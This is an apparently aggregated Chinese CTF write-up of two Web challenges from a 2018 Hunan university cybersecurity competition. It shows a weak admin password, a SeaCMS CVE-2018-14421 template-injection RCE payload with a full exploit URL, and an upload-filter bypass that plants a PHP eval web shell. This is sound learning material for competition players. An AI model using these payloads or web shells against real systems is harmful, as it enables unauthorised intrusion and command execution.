
61

湖南省第二届大学生网络安全技能竞赛初赛实践重赛-Web
source link: http://zeroyu.xyz/2018/11/23/2018-The-Second-HNCyber-Web-writeup/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

有登陆功能但是没有注册功能,所以要么sqli要么爆破密码,最终爆破得到弱口令进入后台。
admin admin123
Backup有提示源码文件和flag文件在服务器上的位置
审计源码,发现其实是CVE-2018-14421的简化版本,使用如下payload来构成rce
zeroyu {if:1)$GLOBALS['_G'.'ET'][zeroyu]($GLOBALS['_G'.'ET'][cool]);die();//}{end if}
注意一点这个id的值是要看响应包的。
http://101.71.29.5:10039//web/index.php?r=content%2Fshow&id=8&zeroyu=system&cool=cat%20/tmp/flag
最后读取flag
flag{65bb1dd503d2a682b47fde40571598f4}
参考
1.这篇文章是从payload出发来分析触发点的,很具有借鉴意义–>
CVE-2018-14421——Seacms后台getshell分析文章中提到一点
htm文件在开发中就只是模板文件,需要有控制器来渲染,渲染一般都是有include,render,render_template等等代码关键词,所以我们可以通过这个来确定控制器。
0x02 upload
题目描述:
http://101.71.29.5:10031/index.php
题目分析:
1.上传php文件–>上传失败并提示It is not a image
2.burp抓包并修改Content-Type: image/jpeg和文件后缀名–>依旧上传失败
3.猜测可能是判断了文件的格式,比如文件头什么的,所以我在图片里藏了一段PHP代码进行上传–>成功上传,但是无法解析
4.目标是Apache机器,进而构造 mu.jpg.php
后缀名进行上传–>上传成功并且成功解析
<?php @eval($_POST['pass']) ?>
5.使用cknife进行连接并找到flag

Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK